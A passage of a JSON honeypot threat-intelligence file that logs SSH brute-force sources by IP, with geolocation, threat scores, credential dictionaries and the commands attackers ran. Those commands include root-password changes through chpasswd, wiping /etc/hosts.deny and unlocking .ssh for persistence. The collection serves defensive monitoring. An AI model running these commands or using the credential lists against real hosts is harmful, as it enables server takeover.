        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 184
      }
    },
    "211.253.9.49": {
      "attack_count": 385,
      "first_seen": "2026-05-19T20:53:58.791Z",
      "last_seen": "2026-05-22T09:29:20.684Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bitwarden",
        "azureuser",
        "claude",
        "deploy",
        "ftpuser",
        "mc",
        "nikhil",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZXSW@123",
        "1234",
        "1qazxsw2#EDCVFR$",
        "2099",
        "909090",
        "Aa123456!",
        "Admin+123",
        "P@ssw0rd1234!",
        "Passw0rd",
        "admin12345",
        "anand123",
        "azureuser@2025",
        "claude",
        "eagle",
        "jake",
        "mc@123",
        "mcintosh",
        "mec"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\n2CM9mUN4QVdW\\n2CM9mUN4QVdW\\n\"|passwd",
        "echo \"root:3Ekr8QaKNG7P\"|chpasswd|bash",
        "echo \"root:s0Apks28Hi83\"|chpasswd|bash",
        "echo -e \"1234\\n2CM9mUN4QVdW\\n2CM9mUN4QVdW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 483,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:53:58.791000+00:00",
        "last_seen_30d": "2026-05-22T09:30:22.920000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 98
      }
    },
    "217.154.192.185": {
      "attack_count": 379,
      "first_seen": "2026-05-13T09:25:03.974Z",
      "last_seen": "2026-05-23T04:38:08.885Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "debian",
        "amule",
        "azureuser",
        "hb",
        "metabase",
        "minecraft",
        "mininet",
        "system"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "%$^@",
        "123123",
        "1234",
        "12345678",
        "135252",
        "1937",
        "1995",
        "2075",
        "225588",
        "Abc1234!@#$",
        "Azureuser123",
        "Qf123456",
        "Ten10takreax1@",
        "Wf5Ic*ZgYK2%K47XfNU&GJp4KHfLAn6m",
        "Xx@123456",
        "action",
        "amule",
        "anabel"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KeYHHSO3f8bh\"|chpasswd|bash",
        "echo \"root:p9n8QqpqBF7E\"|chpasswd|bash",
        "echo \"root:uv3NsvFVydw1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:25:03.974000+00:00",
        "last_seen_30d": "2026-05-23T04:39:18.384000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 379,
        "Suricata": 96
      }
    },
    "20.24.137.18": {
      "attack_count": 360,
      "first_seen": "2026-05-04T00:29:16.193Z",
      "last_seen": "2026-05-04T01:20:18.478Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "root",
        "admin",
        "frappe",
        "hadoop",
        "alireza",
        "insserver",
        "testuser",
        "ark",
        "bitrix",
        "datauser",
        "ftptest",
        "lsfadmin",
        "myadmin",
        "otrs",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "admin",
        "123132123",
        "12345",
        "123456789",
        "123qweasdzxc",
        "888",
        "@admin1234",
        "ADMIN",
        "QNX",
        "a123456",
        "aA123456.",
        "alireza",
        "datauser",
        "ftptest2022",
        "hadoop@123",
        "insserver",
        "newpassword"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"insserver\\nweJwS3yQ5A9h\\nweJwS3yQ5A9h\\n\"|passwd",
        "echo \"testuser123\\naQqMz3igQxBJ\\naQqMz3igQxBJ\\n\"|passwd",
        "echo -e \"insserver\\nweJwS3yQ5A9h\\nweJwS3yQ5A9h\"|passwd|bash",
        "echo -e \"testuser123\\naQqMz3igQxBJ\\naQqMz3igQxBJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 451,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:29:16.193000+00:00",
        "last_seen_30d": "2026-05-04T01:21:22.275000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 91
      }
    },
    "222.110.147.58": {
      "attack_count": 321,
      "first_seen": "2026-05-20T16:25:30.465Z",
      "last_seen": "2026-05-21T16:49:52.687Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "antonia",
        "ejbca",
        "elastic",
        "free",
        "google",
        "hien",
        "jenny",
        "jintian",
        "ju",
        "le",
        "li",
        "liang",
        "lily",
        "lisa",
        "minecraft",
        "mingnian",
        "opc",
        "socks"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0101",
        "123",
        "2020",
        "741852963",
        "998877",
        "O&m15213",
        "Welcome123!",
        "aa112233",
        "antonia",
        "ccb",
        "dache",
        "ejbca",
        "free",
        "freebsd",
        "google",
        "hien",
        "intranet123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VOWnxfxz9inc\"|chpasswd|bash",
        "echo \"root:zsEFOKRpnvUp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Eunpyeong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 414,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:25:30.465000+00:00",
        "last_seen_30d": "2026-05-21T16:50:54.440000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 321,
        "Suricata": 93
      }
    },
    "103.213.238.91": {
      "attack_count": 309,
      "first_seen": "2026-05-13T22:05:43.191Z",
      "last_seen": "2026-05-13T22:52:00.612Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567q",
        "1234@qwe",
        "321",
        "3bb",
        "Abcd1234",
        "Pa$$w0rd2017",
        "Root@1111",
        "Testuser1",
        "abcd1234",
        "beavis",
        "manchester",
        "max!123",
        "postgres1234",
        "proman",
        "rails123",
        "rui123",
        "ryan",
        "sftpdi"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:17kphwsrGMuV\"|chpasswd|bash",
        "echo \"root:sQeFFK3yXJh9\"|chpasswd|bash",
        "echo \"root:sltpYtK8knCk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 135310,
      "as_org": "Inspire Broadband",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T22:05:43.191000+00:00",
        "last_seen_30d": "2026-05-13T22:53:03.519000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 62
      }
    },
    "43.153.17.245": {
      "attack_count": 309,
      "first_seen": "2026-05-18T23:02:47.514Z",
      "last_seen": "2026-05-18T23:29:14.387Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456a@",
        "321123",
        "Dr123456",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "claude",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "mircea",
        "nao",
        "ncc1701"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:S9e1tivqjQLN\"|chpasswd|bash",
        "echo \"root:dlARJWv1ye5o\"|chpasswd|bash",
        "echo \"root:dvNmuhFUbl3h\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:02:47.514000+00:00",
        "last_seen_30d": "2026-05-18T23:30:18.451000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 59
      }
    },
    "165.154.255.63": {
      "attack_count": 280,
      "first_seen": "2026-05-30T11:56:58.526Z",
      "last_seen": "2026-05-30T12:18:33.444Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhangsan",
        "chat",
        "elasticsearch",
        "hadi",
        "info",
        "sysadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1616",
        "Aaa",
        "Cisco123",
        "Sachin@123",
        "abc123456789",
        "admin123",
        "chat",
        "hadi123",
        "manoj",
        "pass123",
        "root@1234",
        "xy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\nRQH0Q5eL5iK9\\nRQH0Q5eL5iK9\\n\"|passwd",
        "echo \"root:eiETdMNfOOFf\"|chpasswd|bash",
        "echo \"root:l2Ij30PNlMRs\"|chpasswd|bash",
        "echo -e \"1\\nRQH0Q5eL5iK9\\nRQH0Q5eL5iK9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:56:58.526000+00:00",
        "last_seen_30d": "2026-05-30T12:19:34.169000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 46
      }
    },
    "190.108.60.10": {
      "attack_count": 257,
      "first_seen": "2026-05-14T14:32:47.412Z",
      "last_seen": "2026-05-14T15:18:58.371Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "...",
        "pakchoi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "12345679",
        "123abc!@",
        "2001ad",
        "Kermit123@",
        "alibaba",
        "analytics",
        "asterix",
        "bananas",
        "benny123",
        "com",
        "discover",
        "dotnet",
        "dts",
        "garfield",
        "lol",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "marcel"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\ndbym08cJ0jEL\\ndbym08cJ0jEL\\n\"|passwd",
        "echo \"root:MXpmjbU2mHvk\"|chpasswd|bash",
        "echo -e \"linux123\\ndbym08cJ0jEL\\ndbym08cJ0jEL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Eduardo Castex",
      "asn": 52308,
      "as_org": "AGUAS DEL COLORADO SAPEM",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:32:47.412000+00:00",
        "last_seen_30d": "2026-05-14T15:20:04.561000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 65
      }
    },
    "185.221.216.189": {
      "attack_count": 241,
      "first_seen": "2026-05-20T01:18:37.874Z",
      "last_seen": "2026-05-20T01:43:44.884Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123q123",
        "123qwe-=",
        "123test",
        "Dell123",
        "admin999",
        "airadmin",
        "claude",
        "deeplearning",
        "goodluck",
        "gregory",
        "ll123456",
        "multimedia",
        "nitin",
        "norules",
        "portal",
        "qazwsx1234",
        "root123!",
        "usb123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RGLMHXYM2v3l\"|chpasswd|bash",
        "echo \"root:kRhcsYveLfBY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 393960,
      "as_org": "Host4Geeks LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:18:37.874000+00:00",
        "last_seen_30d": "2026-05-20T01:44:47.337000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 55
      }
    },
    "41.60.233.59": {
      "attack_count": 226,
      "first_seen": "2026-05-20T18:26:50.862Z",
      "last_seen": "2026-05-21T06:32:04.590Z",
      "sessions": 113,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:26:50.862000+00:00",
        "last_seen_30d": "2026-05-21T06:33:07.287000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 226,
        "Suricata": 114
      }
    },
    "175.144.16.85": {
      "attack_count": 219,
      "first_seen": "2026-05-06T22:58:51.433Z",
      "last_seen": "2026-05-06T23:30:08.137Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user01",
        "345gs5662d34",
        "bitrix",
        "ftpuser",
        "postgres",
        "server",
        "teamspeak"
      ],
      "passwords_attempted": [
        "123!@#123!@#",
        "1234567",
        "12345678",
        "12345678*",
        "123456root",
        "1234576",
        "1q2w3E4R",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin12345!@#$%",
        "Asdf!234",
        "QQqwe123!@#",
        "ROOT123",
        "Root2024!",
        "Sk123456",
        "Wt@123456",
        "Yy123456!",
        "Zjcloud*$%6",
        "admin123",
        "asterisk"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nbAhJQdJxGBBo\\nbAhJQdJxGBBo\\n\"|passwd",
        "echo -e \"12345678\\nbAhJQdJxGBBo\\nbAhJQdJxGBBo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Ipoh",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T22:58:51.433000+00:00",
        "last_seen_30d": "2026-05-06T23:31:13.332000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "179.124.190.42": {
      "attack_count": 206,
      "first_seen": "2026-05-19T18:17:57.130Z",
      "last_seen": "2026-05-20T09:30:13.310Z",
      "sessions": 103,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 61908,
      "as_org": "Nova Net Telecomunicacoes Ltda",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:17:57.130000+00:00",
        "last_seen_30d": "2026-05-20T09:31:22.053000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 106
      }
    },
    "113.161.39.122": {
      "attack_count": 202,
      "first_seen": "2026-05-26T20:47:37.884Z",
      "last_seen": "2026-05-26T21:22:26.191Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "adminuser",
        "go",
        "lek",
        "marco",
        "monitoring",
        "vishal"
      ],
